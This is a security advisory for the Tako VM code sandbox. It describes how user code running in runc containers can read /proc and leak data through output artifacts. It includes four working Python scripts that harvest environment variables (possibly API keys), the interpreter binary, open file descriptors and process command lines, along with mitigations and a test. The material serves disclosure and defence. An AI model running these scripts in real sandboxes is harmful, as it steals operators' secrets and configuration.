Skip to content

Security Analysis: /proc Filesystem Exposure

Published: 2026-01-26 · Last reviewed: 2026-06-12 Severity: MEDIUM (information disclosure to code already running inside the sandbox) Reference: Equixly: The False Security of AI Containers

Status as of v0.1.4

This is a self-published analysis, not a CVE/GHSA. The behavior described applies to sandboxes running under the standard runc runtime. Primary mitigation, available today: run with gVisor (container_runtime: runsc + security_mode: strict), where /proc is a synthetic view served by the userspace kernel. Seccomp filtering is enabled by default since the analysis was written. AppArmor-based /proc path restrictions under runc remain on the roadmap.

Summary

Tako VM containers are vulnerable to information leakage through the /proc filesystem. While artifact download endpoints have strong path traversal protection, user code executing inside containers can read sensitive data from /proc and exfiltrate it via output artifacts.

Attack Vectors

1. Environment Variable Leakage via /proc/self/environ

Attack Code:

# User submits this as code to execute
import json

# Read all environment variables from /proc
with open('/proc/self/environ', 'rb') as f:
    env_data = f.read()

# Parse null-byte separated key=value pairs
env_vars = {}
for entry in env_data.split(b'\x00'):
    if b'=' in entry:
        key, value = entry.split(b'=', 1)
        env_vars[key.decode()] = value.decode()

# Exfiltrate via output artifact
with open('/output/stolen_env.json', 'w') as f:
    json.dump(env_vars, f, indent=2)

print("Environment extracted successfully")

Information Exposed: - Job type environment variables - avoid using these for secrets - Custom job_type.environment variables - may contain API keys, secrets - System environment (PATH, HOME, etc.)

2. Binary Extraction via /proc/self/exe

Attack Code:

import shutil

# Copy the Python interpreter binary
shutil.copy('/proc/self/exe', '/output/python_binary')
print("Binary extracted")

Risk: Enables reverse engineering of: - Python version and patches - Compiled extensions - Potential vulnerabilities in the runtime

3. File Descriptor Enumeration via /proc/self/fd/

Attack Code:

import os
import json

fds = {}
for fd_num in range(256):
    fd_path = f'/proc/self/fd/{fd_num}'
    try:
        target = os.readlink(fd_path)
        fds[fd_num] = target
    except (FileNotFoundError, OSError):
        pass

with open('/output/open_files.json', 'w') as f:
    json.dump(fds, f, indent=2)

Risk: Reveals: - Open configuration files - Database connections - Unix sockets - Log files

4. Process Enumeration via /proc/[PID]/

Attack Code:

import os
import json

processes = {}
for pid in range(1, 100):
    cmdline_path = f'/proc/{pid}/cmdline'
    try:
        with open(cmdline_path, 'rb') as f:
            cmdline = f.read().replace(b'\x00', b' ').decode()
            processes[pid] = cmdline
    except (FileNotFoundError, PermissionError):
        pass

with open('/output/processes.json', 'w') as f:
    json.dump(processes, f, indent=2)

Risk: Reveals: - Running processes and command arguments - Container initialization details - Potential security tooling

Current Mitigations in Tako VM

What Works ✅

  1. Artifact Download Protection (app.py:1036-1042)
  2. Uses is_relative_to() for robust path validation
  3. Only allows downloads of manifest-listed artifacts
  4. Prevents API-level path traversal

  5. Container Hardening (worker.py:593-600)

  6. Read-only filesystem (except /output, /tmp)
  7. Capability dropping (--cap-drop=ALL)
  8. Network isolation by default
  9. Privilege drop to non-root (uid 1000) via gosu after dependency install (no-new-privileges is intentionally not set — see the hardening guide)

  10. Filename Validation (security.py:335-360)

  11. Blocks path separators in artifact names
  12. Prevents parent directory references
  13. Blocks hidden files

What's Missing ⚠️

  1. No /proc path restrictions under runc - Containers have full read access to their own /proc (Docker masks some host paths like /proc/kcore by default, but not /proc/self/environ)
  2. Environment variables in plaintext - Sensitive config passed via env vars
  3. No LSM (AppArmor/SELinux) - No mandatory access controls

Priority 1: Run under gVisor (available today)

The gVisor runtime serves /proc from its userspace kernel rather than exposing the host kernel's procfs — this is the strongest available mitigation and is built in:

# tako_vm.yaml
container_runtime: runsc
security_mode: strict   # fail rather than silently fall back to runc

What seccomp can and cannot do here

Seccomp (enabled by default) blocks dangerous syscallsptrace, process_vm_readv, module loading — but cannot distinguish open("/proc/self/environ") from open("/input/data.json"): both are the same syscall. Path-based /proc restrictions under runc require an LSM (AppArmor/SELinux), which is on the roadmap.

Priority 2: Avoid passing secrets via environment variables

Instead of passing sensitive data via env vars: 1. Use Docker secrets mounting (for production) 2. Write config to read-only files in /input 3. Use a secrets management service

Example - Replace this:

cmd.append(f"--env=SECRET_KEY={secret}")

With this:

# Write to read-only config file instead
config_file = input_dir / "_config.json"
config_file.write_text(json.dumps({"secret_key": secret}))
cmd.append(f"--mount=type=bind,source={config_file},target=/config/secrets.json,readonly")

Priority 3: Know what user code can see

Security Notice: Under runc, user code runs with read access to /proc, which exposes container metadata, environment variables, and process information. Do not pass sensitive secrets via environment variables. Use input files or external secret management instead — and for untrusted code, run under gVisor.

Impact Assessment

Likelihood: HIGH - Any user can submit code to read /proc Impact: MEDIUM - Leaks configuration but not host system access Overall Risk: MEDIUM

Affected Components: - All container executions - Job types with custom environment variables

Testing

Create a test to verify /proc exposure:

def test_proc_environ_exposure():
    """Verify that /proc/self/environ is accessible (known limitation)."""
    code = """
import os
env = dict(os.environ)
with open('/output/result.json', 'w') as f:
    import json
    json.dump({"env_count": len(env)}, f)
    """
    result = executor.execute_job({"code": code, "input_data": {}})
    assert result["success"]
    # This currently passes - demonstrating the vulnerability
    assert result["output"]["env_count"] > 0

References


Next Steps